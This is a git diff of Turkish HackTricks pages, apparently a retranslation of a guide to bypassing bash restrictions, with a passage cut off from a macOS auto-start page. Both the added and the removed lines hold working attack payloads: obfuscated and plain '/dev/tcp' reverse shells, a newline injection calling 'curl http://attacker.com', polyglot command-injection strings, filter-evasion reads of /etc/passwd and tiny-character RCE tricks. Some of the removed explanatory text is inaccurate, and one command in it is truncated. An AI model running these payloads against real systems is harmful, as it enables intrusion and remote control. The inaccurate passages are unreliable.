-Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
index 22ccb4a5b..028f5cb55 100644
--- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
+++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
@@ -1,28 +1,28 @@
-# Linux Kısıtlamalarını Aşma
+# Linux Kısıtlamalarını Atlatma
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
+Sıfırdan kahraman olmaya kadar AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturup otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Ortak Kısıtlamaları Aşma Yöntemleri
+## Yaygın Kısıtlamaları Atlatma
### Ters Kabuk
```bash
@@ -31,12 +31,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Kısa Rev shell
-
-```bash
-bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
-```
-
-Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtilen IP adresi ve port numarasına yönlendirir. Bu şekilde, saldırgan hedef sistemde komutları çalıştırabilir ve veri alışverişi yapabilir.
```bash
#Trick from Dikline
#Get a rev shell with
@@ -44,25 +38,7 @@ Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtile
#Then get the out of the rev shell executing inside of it:
exec >&0
```
-### Yolları Geçme ve Yasaklı Kelimeler
-
-Bazı durumlarda, hedef sistemdeki kısıtlamaları aşmak için belirli yolları veya yasaklı kelimeleri kullanmanız gerekebilir. İşte bu tür durumlar için bazı yöntemler:
-
-#### Yolları Geçme
-
-- **Yol Değiştirme**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `/bin/bash` yerine `/usr/bin/bash` kullanarak kısıtlamaları atlatabilirsiniz.
-
-- **Yol Değiştirme İle Komut Çalıştırma**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `ls` yerine `/bin/ls` kullanarak kısıtlamaları atlatabilirsiniz.
-
-- **Yol İçeren Komutlar**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için yol içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(which ls)` kullanarak `ls` komutunu çalıştırabilirsiniz.
-
-#### Yasaklı Kelimeleri Geçme
-
-- **Yasaklı Kelimeleri Değiştirme**: Hedef sistemdeki bir komutu, yasaklı kelimeleri değiştirerek çalıştırabilirsiniz. Örneğin, `cat` yerine `c\at` kullanarak yasaklı kelimeyi atlatabilirsiniz.
-
-- **Yasaklı Kelimeleri İçeren Komutlar**: Hedef sistemdeki bir komutu, yasaklı kelimeleri içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(echo c\at)` kullanarak `cat` komutunu çalıştırabilirsiniz.
-
-Bu yöntemler, hedef sistemin kısıtlamalarını aşmanıza yardımcı olabilir. Ancak, bu tür işlemleri gerçekleştirirken dikkatli olmalı ve yasalara uygun olarak hareket etmelisiniz.
+### Yolları Atlayın ve yasaklı kelimeleri geçin
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@@ -118,16 +94,6 @@ whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Yasaklı boşlukları atlayın
-
-Bazı durumlarda, bir komutu çalıştırmak için yasaklanmış karakterlerden kaçınmanız gerekebilir. Bu durumda, yasaklı boşlukları atlamak için aşağıdaki yöntemleri kullanabilirsiniz:
-
-- **Yatay Tab (Tab)**: Komutu tamamlamak için yatay sekme karakterini kullanabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra yatay sekme karakterini ekleyebilirsiniz.
-
-- **Dikey Tab (Vertical Tab)**: Dikey sekme karakterini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra dikey sekme karakterini ekleyebilirsiniz.
-
-- **Unicode Karakterleri**: Unicode karakterlerini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra bir Unicode karakteri ekleyebilirsiniz.
-
-Bu yöntemler, yasaklı boşlukları atlamak için kullanılabilecek bazı basit tekniklerdir. Ancak, her durumda işe yaramayabilir ve kullanılabilirlikleri sistem yapılandırmasına bağlı olabilir.
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@@ -160,135 +126,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
-### Ters bölü ve bölü işaretlerini atlatma
-
-Bazı durumlarda, bir komutu çalıştırmak için ters bölü (\) veya bölü (/) işaretlerini atlatmanız gerekebilir. İşte bu işaretleri atlatmanın bazı yöntemleri:
-
-- Ters bölü işaretini atlatmak için, komutunuzda ters bölü işaretinden önce başka bir ters bölü işareti ekleyin. Örneğin, `ls \\-l` komutunu kullanarak `ls -l` komutunu çalıştırabilirsiniz.
-- Bölü işaretini atlatmak için, komutunuzda bölü işaretinden önce ters bölü işareti ekleyin. Örneğin, `cd \/tmp` komutunu kullanarak `cd /tmp` komutunu çalıştırabilirsiniz.
-
-Bu yöntemler, ters bölü ve bölü işaretlerini atlatmanıza yardımcı olacaktır.
+### Ters eğik çizgi ve eğik çizgiyi atlatma
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
-### Pipe'ları Atlatma
-
-Bazı durumlarda, bir komutun çıktısını başka bir komuta yönlendirmek için pipe (`|`) kullanmak engellenebilir. Ancak, bu engellemeyi aşmanın bazı yolları vardır.
-
-#### 1. Process Substitution (İşlem Yerine Koyma)
-
-Process substitution, bir komutun çıktısını bir dosya gibi işlemek için kullanılır. Bu yöntem, pipe kullanmadan komutlar arasında veri akışını sağlar.
-
-```bash
-command1 <(command2)
-```
-
-Örnek:
-
-```bash
-cat <(ls)
-```
-
-#### 2. Named Pipes (Adlandırılmış Pipe'lar)
-
-Named pipes, bir dosya gibi davranan özel bir dosya türüdür. Bu yöntemle, bir komutun çıktısı bir named pipe'a yönlendirilir ve başka bir komut da bu named pipe'dan veri alır.
-
-```bash
-mkfifo /tmp/pipe
-command1 > /tmp/pipe &
-command2 < /tmp/pipe
-```
-
-Örnek:
-
-```bash
-mkfifo /tmp/pipe
-ls > /tmp/pipe &
-cat < /tmp/pipe
-```
-
-#### 3. Process Substitution with Named Pipes (İşlem Yerine Koyma ile Adlandırılmış Pipe'lar)
-
-Process substitution ve named pipes yöntemleri birleştirilerek, pipe kullanmadan komutlar arasında veri akışı sağlanabilir.
-
-```bash
-command1 <(command2 > /tmp/pipe) < /tmp/pipe
-```
-
-Örnek:
-
-```bash
-cat <(ls > /tmp/pipe) < /tmp/pipe
-```
-
-#### 4. File Descriptor Manipulation (Dosya Tanımlayıcı Manipülasyonu)
-
-Dosya tanımlayıcı manipülasyonu, bir komutun çıktısını bir dosya tanımlayıcısına yönlendirmek için kullanılır. Bu yöntemle, pipe kullanmadan komutlar arasında veri akışı sağlanabilir.
-
-```bash
-command1 3>&1 1>&2 2>&3 | command2
-```
-
-Örnek:
-
-```bash
-ls 3>&1 1>&2 2>&3 | cat
-```
-
-#### 5. Shell Variable (Kabuk Değişkeni)
-
-Bazı durumlarda, bir komutun çıktısını bir shell değişkenine atayarak pipe engellemesi aşılabilir.
-
-```bash
-variable=$(command)
-```
-
-Örnek:
-
-```bash
-files=$(ls)
-```
-
-Bu yöntemle, `variable` adlı bir shell değişkeni oluşturulur ve `command` komutunun çıktısı bu değişkene atanır.
-
-#### 6. Temporary File (Geçici Dosya)
-
-Bir komutun çıktısını bir geçici dosyaya yönlendirmek ve başka bir komutun bu dosyadan veri almasını sağlamak da bir seçenektir.
-
-```bash
-command1 > /tmp/file
-command2 < /tmp/file
-```
-
-Örnek:
-
-```bash
-ls > /tmp/file
-cat < /tmp/file
-```
-
-Bu yöntemle, `command1` komutunun çıktısı `/tmp/file` adlı bir geçici dosyaya yönlendirilir ve `command2` komutu bu dosyadan veri alır.
+### Boruları Atlayın
```bash
bash<<<$(base64 -d<<:
-export https_proxy=http://:
-```
-
-#### IP Adresini Değiştirme
-
-IP adresinizi değiştirerek IP tabanlı kısıtlamaları atlayabilirsiniz. Bunun için aşağıdaki komutları kullanabilirsiniz:
-
-```bash
-sudo ifconfig eth0 netmask
-```
-
-#### IP Adresini Görmezden Gelme
-
-Bazı durumlarda, hedef sistemdeki IP tabanlı kısıtlamaları atlamak için IP adresinizi tamamen görmezden gelebilirsiniz. Aşağıdaki komutu kullanarak bu işlemi gerçekleştirebilirsiniz:
-
-```bash
-sudo iptables -A INPUT -s -j DROP
-```
-
-Bu komut, belirtilen IP adresinden gelen tüm giriş trafiğini engeller.
-
-#### IP Adresini Sahteleyerek Atlatma
-
-IP adresinizi sahteleyerek IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz:
-
-```bash
-sudo iptables -t nat -A POSTROUTING -j SNAT --to-source
-```
-
-Bu komut, çıkış trafiğindeki IP adresinizi belirtilen sahte IP adresiyle değiştirir.
-
-#### IP Adresini Yönlendirme ile Atlatma
-
-IP adresinizi yönlendirme kullanarak IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz:
-
-```bash
-sudo iptables -t nat -A PREROUTING -d -j DNAT --to-destination
-```
-
-Bu komut, belirli bir hedef IP adresine yönlendirilen trafiği, belirtilen yeni IP adresine yönlendirir.
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Zaman tabanlı veri sızdırma
-
-Bazı durumlarda, hedef sistemdeki verileri doğrudan çıkaramazsınız. Ancak, zaman tabanlı bir veri sızdırma tekniği kullanarak verileri yavaşça sızdırabilirsiniz. Bu teknik, hedef sistemdeki verileri küçük parçalara böler ve her parçayı belirli bir zaman aralığında gönderir.
-
-Bu teknik için aşağıdaki adımları izleyebilirsiniz:
-
-1. Verileri küçük parçalara bölün: Hedef sistemdeki verileri küçük parçalara bölmek için bir yöntem kullanın. Örneğin, bir metin dosyasını satır satır bölebilirsiniz.
-
-2. Veri parçalarını gönderin: Her veri parçasını belirli bir zaman aralığında gönderin. Bu, hedef sistemdeki ağ trafiğini minimumda tutarak tespit edilme olasılığını azaltır.
-
-3. Verileri birleştirin: Veri parçalarını almak için bir alıcı tarafı oluşturun ve gönderilen veri parçalarını birleştirin. Bu, orijinal veriyi elde etmenizi sağlar.
-
-Bu teknik, hedef sistemdeki verileri yavaşça sızdırmanıza olanak tanır ve tespit edilme olasılığını azaltır. Ancak, verilerin sızdırılması zaman alabilir ve dikkatlice planlanması gereken bir süreçtir.
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
-### Ortam Değişkenlerinden Karakterleri Almak
-
-Bazı durumlarda, bir kabuk betiği içindeki bazı karakterleri almak için ortam değişkenlerini kullanabilirsiniz. Bu, bazı kısıtlamaları aşmanıza yardımcı olabilir.
-
-Bir ortam değişkeninden karakter almak için aşağıdaki komutu kullanabilirsiniz:
-
-```bash
-echo -e "Karakterler: \x24\x28\x65\x63\x68\x6F\x20\x2D\x65\x20\x27\x5C\x78\x32\x34\x27\x29"
-```
-
-Bu komut, `$(` ve `)` karakterlerini almak için `echo` komutunu kullanır. `\x` önekini kullanarak ASCII değerlerini temsil ederiz. Bu şekilde, kısıtlamaları aşmak için gerekli karakterleri alabilirsiniz.
-
-Bu yöntem, bazı durumlarda kısıtlamaları aşmanıza yardımcı olabilir, ancak her zaman işe yaramayabilir.
+### Çevresel Değişkenlerden Karakterler Almak
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
-### DNS veri sızdırma
+### DNS verisi dışa aktarma
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
-### Yerleşik Fonksiyonlar
+### Dahili Komutlar
-Eğer harici fonksiyonları çalıştıramaz ve sadece **sınırlı bir dizi yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'den alınmıştır.\
-İlk olarak, tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Ardından, işte bazı **öneriler**:
+Dış işlevleri yürütemezsiniz ve yalnızca bir **sınırlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanışlı hileler vardır**. Genellikle **tüm dahili komutları kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
+Öncelikle tüm [**kabuk dahili komutlarını**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Sonra işte size bazı **tavsiyeler**:
```bash
# Get list of builtins
declare builtins
@@ -444,61 +218,24 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
-### Poliglot komut enjeksiyonu
-
-Polyglot komut enjeksiyonu, birden fazla programlama dilinde geçerli olan bir komutu hedef sisteme enjekte etmek için kullanılan bir tekniktir. Bu teknik, hedef sistemin birden fazla programlama dilini desteklemesi durumunda kullanılabilir. Poliglot komut enjeksiyonu, hedef sisteme zarar vermek veya yetkisiz erişim elde etmek için kullanılabilir. Bu nedenle, sistemlerin bu tür saldırılara karşı korunması önemlidir.
+### Çok dilli komut enjeksiyonu
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Potansiyel regexleri atlayın
-
-Bazı durumlarda, bir komutun çalışmasını engellemek için kullanılan regex desenlerini atlamak gerekebilir. Aşağıda, bu tür bir durumu atlamak için kullanılabilecek bazı teknikler bulunmaktadır:
-
-- **Karakter Kaçışı**: Regex deseninde kullanılan özel karakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\$` şeklinde bir desen, `$` karakterini aramak yerine deseni atlar.
-
-- **Karakter Aralığı**: Regex deseninde kullanılan karakter aralığı belirteçleri ([ ]) kullanarak, belirli bir karakter kümesini atlayabilirsiniz. Örneğin, `[a-z]` şeklinde bir desen, küçük harfler arasındaki herhangi bir karakteri atlar.
-
-- **Metakarakterlerin Kaçışı**: Regex deseninde kullanılan metakarakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\.` şeklinde bir desen, nokta karakterini aramak yerine deseni atlar.
-
-- **Alternatifler**: Regex deseninde alternatifler (|) kullanarak, farklı desenleri atlayabilirsiniz. Örneğin, `pattern1|pattern2` şeklinde bir desen, pattern1 veya pattern2'yi atlar.
-
-Bu teknikler, regex desenlerini atlamak için kullanılabilecek bazı yaygın yöntemlerdir. Ancak, her durumda etkili olmayabilirler.
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
-Bashfuscator, Bash betiklerini anlaşılması zor hale getirmek için kullanılan bir araçtır. Bu araç, betikleri karmaşık hale getirerek, betiklerin anlaşılmasını ve analiz edilmesini zorlaştırır. Bashfuscator, değişken adlarını rastgele karakterlerle değiştirir, gereksiz boşluklar ekler ve kodu parçalara böler. Bu sayede, betiklerin anlaşılması ve analiz edilmesi daha zor hale gelir. Bashfuscator, güvenlik testleri sırasında veya kötü niyetli saldırganlar tarafından kullanılabilir.
+### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
-### 5 karakterle RCE (Uzaktan Kod Çalıştırma)
-
-Bazı durumlarda, hedef sistemdeki bash kısıtlamalarını aşmak için sadece 5 karakter kullanarak uzaktan kod çalıştırma saldırıları gerçekleştirebilirsiniz. Bu yöntem, hedef sistemin güvenlik önlemlerini atlamak için etkili bir yol sağlar.
-
-Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyin:
-
-1. İlk olarak, hedef sistemdeki bash sürümünü kontrol edin:
-```bash
-$ echo $BASH_VERSION
-```
-
-2. Ardından, hedef sistemdeki bash sürümüne bağlı olarak aşağıdaki komutları kullanarak RCE saldırısını gerçekleştirin:
-
-- Bash sürümü 4.4 veya daha düşükse:
-```bash
-$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
-```
-
-- Bash sürümü 4.4 veya daha yüksekse:
-```bash
-$ env X='() { (a)=>\' bash -c "echo date"; cat echo
-```
-
-Bu yöntem, hedef sistemin bash sürümüne bağlı olarak farklı komutlar kullanır ve sadece 5 karakter kullanarak RCE saldırısı gerçekleştirir. Bu sayede, hedef sistemin güvenlik önlemlerini aşabilir ve uzaktan kod çalıştırabilirsiniz.
+### 5 karakter ile Uzaktan Kod Çalıştırma (RCE)
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@@ -545,23 +282,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
-### 4 karakterle RCE
-
-Bash kısıtlamalarını atlamak için kullanılan bir yöntemdir. Bu yöntem, sadece 4 karakter kullanarak Uzaktan Kod Çalıştırma (RCE) sağlar.
-
-```bash
-$ echo $0
-bash
-$ echo $BASH_VERSION
-4.4.19(1)-release
-$ echo $0-$BASH_VERSION
-bash-4.4.19(1)-release
-```
-
-Bu komutlar, mevcut kabuk ve Bash sürümünü görüntüler. Bu bilgileri kullanarak, RCE gerçekleştirmek için aşağıdaki komutu kullanabilirsiniz:
-
-```bash
-$ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
+### 4 karakter ile Uzaktan Kod Çalıştırma (RCE)
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@@ -596,15 +317,15 @@ $ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
'sh x'
'sh g'
```
-## Salt-Okunur/Noexec/Distroless Atlama
+## Salt-Okuma/Noexec/Distroless Atlatma
-Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distroless bir konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu bile çalıştırmanın yolları** vardır:
+Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
-## Chroot ve Diğer Hapishaneleri Atlama
+## Chroot ve Diğer Hapishaneleri Atlatma
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@@ -617,24 +338,24 @@ Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distr
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+Sıfırdan kahraman olacak şekilde AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md
index f52c6a965..a83e9f8f1 100644
--- a/macos-hardening/macos-auto-start-locations.md
+++ b/macos-hardening/macos-auto-start-locations.md
@@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan ileri seviyeye öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**.
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır, amacı **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir.
+Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır. Amacı, **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir.
## Kum Havuzu Atlatma
{% hint style="success" %}
-Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygın bir** **eylemi bekleyerek**, belirlenmiş bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinlerine ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** sağlar.
+Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve bir **çok yaygın eylem**, belirli bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinleri gerektirmeden** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe yürütmenize olanak tanır.
{% endhint %}
### Launchd
-* Kum havuzu atlatma için yararlı: [✅](https://emojipedia.org/check-mark-button)
+* Kum havuzu atlatma için kullanışlı: [✅](https://emojipedia.org/check-mark-button)
* TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konumlar
@@ -48,16 +48,16 @@ Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulab
#### Açıklama ve Sömürü
